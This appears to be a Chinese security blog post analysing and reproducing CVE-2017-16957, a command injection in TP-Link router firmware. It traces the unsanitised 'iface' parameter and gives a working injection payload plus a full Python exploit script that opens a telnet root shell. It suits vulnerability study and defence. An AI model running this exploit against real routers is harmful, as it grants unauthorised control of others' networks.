The result of tag: (1 results)

TP-Link路由器任意命令注入漏洞的分析与复现

by LauCyun Jan 31,2018 21:35:56 49,764 views

实验环境:

  • 路由器型号:TL-WVR300
    • 硬件版本:TL-WVR300 V4.0
    • 固件版本:1.0.0 Build 20160331 Rel.32416
  • Kali Linux 2017.3
  • Python 2(需安装PyExecJS库)

0x01 漏洞描述

TP-Link TL-WVR 等都是中国普联(TP-LINK)公司的无线路由器产品。

多款 TP-Link 系列产品存在命令注入漏洞,攻击者在登录后可发送恶意字段,经拼接后导致任意命令执行。

该漏洞由@coincoin7发现,漏洞编号是CVE-2017-16957

受影响产品

  • Tp-Link TL-WVR300  (仅支持硬件版本 v4)
  • Tp-Link TL-WVR302  (仅支持硬件版本 v2)
  • Tp-Link TL-WVR450  (所有硬件版本、固件版本)
  • Tp-Link TL-WVR450L  (所有硬件版本、固件版本)
  • Tp-Link TL-WVR450G  (仅支持硬件版本 v5)
  • Tp-Link TL-WVR458  (所有硬件版本、固件版本)
  • Tp-Link TL-WVR458L  (所有硬件版本、固件版本)
  • Tp-Link TL-WVR458P  (所有硬件版本、固件版本)
  • Tp-Link TL-WVR900G  (仅支持硬件版本 v3)
  • Tp-Link TL-WVR900L  (所有硬件版本、固件版本)
  • Tp-Link TL-WVR1200L  (所有硬件版本、固件版本)
  • Tp-Link TL-WVR1300L  (所有硬件版本、固件版本)
  • Tp-Link TL-WVR1300G  (所有硬件版本、固件版本)
  • Tp-Link TL-WVR1750L  (所有硬件版本、固件版本)
  • Tp-Link TL-WVR2600L  (所有硬件版本、固件版本)
  • Tp-Link TL-WVR4300L  (所有硬件版本、固件版本)
  • Tp-Link TL-WAR302  (所有硬件版本、固件版本)
  • Tp-Link TL-WAR450  (所有硬件版本、固件版本)
  • Tp-Link TL-WAR450L  (所有硬件版本、固件版本)
  • Tp-Link TL-WAR458  (所有硬件版本、固件版本)
  • Tp-Link TL-WAR458L  (所有硬件版本、固件版本)
  • Tp-Link TL-WAR900L  (所有硬件版本、固件版本)
  • Tp-Link TL-WAR1200L  (所有硬件版本、固件版本)
  • Tp-Link TL-WAR1300L  (所有硬件版本、固件版本)
  • Tp-Link TL-WAR1750L  (所有硬件版本、固件版本)
  • Tp-Link TL-WAR2600L  (所有硬件版本、固件版本)
  • Tp-Link TL-ER3210G  (所有硬件版本、固件版本)
  • Tp-Link TL-ER3220G  (所有硬件版本、固件版本)
  • Tp-Link TL-ER5110G  (所有硬件版本、固件版本)
  • Tp-Link TL-ER5120G  (所有硬件版本、固件版本)
  • Tp-Link TL-ER5510G  (仅支持硬件版本 v2,v3)
  • Tp-Link TL-ER5520G  (仅支持硬件版本 v2,v3)
  • Tp-Link TL-ER6110G  (所有硬件版本、固件版本)
  • Tp-Link TL-ER6120G  (仅支持硬件版本 v2)
  • Tp-Link TL-ER6220G  (所有硬件版本、固件版本)
  • Tp-Link TL-ER6510G  (所有硬件版本、固件版本)
  • Tp-Link TL-ER6520G  (仅支持硬件版本 v2,v3)
  • Tp-Link TL-ER7520G  (所有硬件版本、固件版本)
  • Tp-Link TL-R473  (仅支持硬件版本 v5)
  • Tp-Link TL-R473G  (所有硬件版本、固件版本)
  • Tp-Link TL-R473P-AC  (所有硬件版本、固件版本)
  • Tp-Link TL-R473GP-AC  (所有硬件版本、固件版本)
  • Tp-Link TL-R478  (仅支持硬件版本 v6)
  • Tp-Link TL-R478+  (仅支持硬件版本 v7)
  • Tp-Link TL-R478G  (所有硬件版本、固件版本)
  • Tp-Link TL-R478G+  (仅支持硬件版本 v3)
  • Tp-Link TL-R479P-AC   (所有硬件版本、固件版本)
  • Tp-Link TL-R479GP-AC  (所有硬件版本、固件版本)
  • Tp-Link TL-R479GPE-AC  (所有硬件版本、固件版本)
  • Tp-Link TL-R483  (仅支持硬件版本 v5)
  • Tp-Link TL-R483G  (仅支持硬件版本 v2)
  • Tp-Link TL-R488  (仅支持硬件版本 v5)
  • Tp-Link TL-R4149G  (所有硬件版本、固件版本)
  • Tp-Link TL-R4239G  (仅支持硬件版本 v2)
  • Tp-Link TL-R4299G  (仅支持硬件版本 v2)

0x02 漏洞分析

先从TP-Link官网下载TL-WVR300的固件(下载地址:http://service.tp-link.com.cn/download/20172/TL-WVR300 V4.0_161130标准版.zip),解压后有一个TL-WVR300v4_cn_2.0.0_[20161130-rel60987]_up.bin的文件,然后使用binwalk解包(解包命令:binwalk -Me TL-WVR300v4_cn_2.0.0_[20161130-rel60987]_up.bin),拿到squashfs系统文件,最后用squashfs-tools将文件提取出来。

如果Binwalk不知道如何解包的话,请阅读Binwalk:后门(固件)分析利器


图1 用squashfs-tools提取12E13B.squashfs

受影响组件是uhttpd,漏洞文件是/usr/lib/lua/luci/controller/admin/diagnostic.lua

如图2所示,在第 89 行将传递的参数没有经过任何检查过滤,直接拼接到cmd,通过io.popen进行命令执行。


图2 diagnostic.lua中zone_get_effect_devices函数

找到文件diagnostic.lua中调用zone_get_effect_devicesping_action函数,如图3所示:


图3 diagnostic.lua中ping_action函数

这里将传递的http_form进行 json 解析,将 json 参数params.iface传入函数zone_get_effect_devices

继续往上找到调用ping_actionstart_action函数,如图4所示:


图4 diagnostic.lua中start_action函数

继续往上找调用start_action处,如图5所示:


图5 diagnostic.lua中调用start_action处

所以,结合上面的分析,得知在 web 登录认证后,可以通过 uhttpd 访问diagnostic.luastart_action(http_form)函数来检查系统的网络连接。

就在这个操作过程中,zone_get_effect_devices(t)没有检查http_from中的iface参数的值,从而用io.popen直接执行iface。过程描述如下:

step1.	http post to diagnostic.lua and make method=start
step2.		--> local function start_action(http_form)
step3.			--> local function ping_action(http_form) 
step4.				--> local function zone_get_effect_devices(t)

通过 Burpsuite 分析,其 http post 请求如下:

POST /cgi-bin/luci/;stok=ea2178b4514da7ae227f4ec192536930/admin/diagnostic?form=diag HTTP/1.1
Host: 192.168.0.1
Content-Length: 370
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.0.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.0.1/webpages/index.html
Accept-Encoding: gzip, deflate
Cookie: sysauth=be9b6f2b4b9a76a8a658e108c6197f2c
Connection: close

data=%7B%22method%22%3A%22start%22%2C%22params%22%3A%7B%22type%22%3A%220%22%2C%22type_hidden%22%3A%220%22%2C%22ipaddr_ping%22%3A%22baidu.com%22%2C%22iface_ping%22%3A%22WAN1%22%2C%22ipaddr%22%3A%22baidu.com%22%2C%22iface%22%3A%22%3Btelnetd+-p+24+-l+/bin/sh%22%2C%22count%22%3A%221%22%2C%22pktsize%22%3A%2264%22%2C%22my_result%22%3A%22The+Router+is+ready.%5Cr%5Cn%22%7D%7D

0x03 漏洞复现

从上面的 post 请求中得知,需构造一个 json 编码的 data,如下:

{
    "method":"start",
    "params":{
        "type":"0",
        "type_hidden":"0",
        "ipaddr_ping":"127.0.0.1",
        "iface_ping":"WAN1",
        "ipaddr":"127.0.0.1",
        "iface":";telnetd -p 24 -l /bin/sh",
        "count":"1",
        "pktsize":"64",
        "my_result":"exploit"
    }
}

在 web 认证登录后,发送构造好的恶意 Payload,执行命令telnetd -p 24 -l /bin/sh,就会打开路由器的 telnet 功能。

漏洞利用脚本 exp.py:

# Tested product: TL-WVR300
# Hardware version: V4.0
# Firmware version: 1.0.0 Build 20160331 Rel.32416
# The RSA_Encryption_For_Tplink.js is use for Rsa Encryption to the password when login the web manager.
# You can download the RSA_Encryption_For_Tplink.js by https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/RSA_Encryption_For_Tplink.js

import execjs
import requests
import json
import urllib


def read_js():
    file = open("./RSA_Encryption_For_Tplink.js", 'r')
    line = file.readline()
    js = ''
    while line:
        js = js + line
        line = file.readline()
    file.close()
    return js


def execute(ip, port, username, passwd, cmd):

    try:
        s = requests.session()


        uri = "http://{}:{}".format(ip,port)
        headers = {
            'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
            'Referer': 'http://{}/webpages/login.html'.format(ip)
            }
        payload = {
            "method":"get"
        }
        ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
        rsa_public_n = json.loads(ret.text)['result']['password'][0].encode("utf-8")
        rsa_public_e = json.loads(ret.text)['result']['password'][1].encode("utf-8")
        js = read_js()
        js_handle = execjs.compile(js)
        password = js_handle.call('MainEncrypt', rsa_public_n, rsa_public_e, passwd)


        payload = {
            "method":"login",
            "params":{
                "username":"{}".format(username),
                "password":"{}".format(password)
            }
        }
        ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
        stok = json.loads(ret.text)['result']['stok'].encode('utf-8')
        cookie = ret.headers['Set-Cookie']


        print '[+] Login success'
        print '[+] Get The Token: ' + stok
        print '[+] Get The Cookie: ' + cookie


        headers = {
            'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
            'Referer':'http://{}/webpages/login.html'.format(ip),
            'Cookie':'{}'.format(cookie)
            }
        payload = {
            "method":"start",
            "params":{
                "type":"0",
                "type_hidden":"0",
                "ipaddr_ping":"127.0.0.1",
                "iface_ping":"WAN1",
                "ipaddr":"127.0.0.1",
                "iface":";{}".format(cmd),
                "count":"1",
                "pktsize":"64",
                "my_result":"exploit"
            }
        }
        ret = s.post(uri + '/cgi-bin/luci/;stok={}/admin/diagnostic?form=diag'.format(stok), data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)


        #print ret.text
        print '[+] Finish RCE'
        print '--------------------------------------------------------------'
        return True

    except:
        return False


if __name__=='__main__':
    print '-----------Tplink LUCI diagnostic Authenticated RCE-----------'
    print execute('192.168.0.1', 80, 'admin', 'admin', 'telnetd -p 24 -l /bin/sh')

exp需要下载RSA_Encryption_For_Tplink.js才能使用,下载地址:https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/RSA_Encryption_For_Tplink.js


图6 攻击过程

攻击成功,也就是说路由器的 telnet 功能开放了,接着通过 telnet 连接路由器,进入后,你就可以为所欲为啦~~


图7 路由器信息

通过挖掘发现,存在命令注入的不止 diagnostic.lua 一处,全局搜索io.popen,你懂的^_^

0x04 参考

...

Tags Read More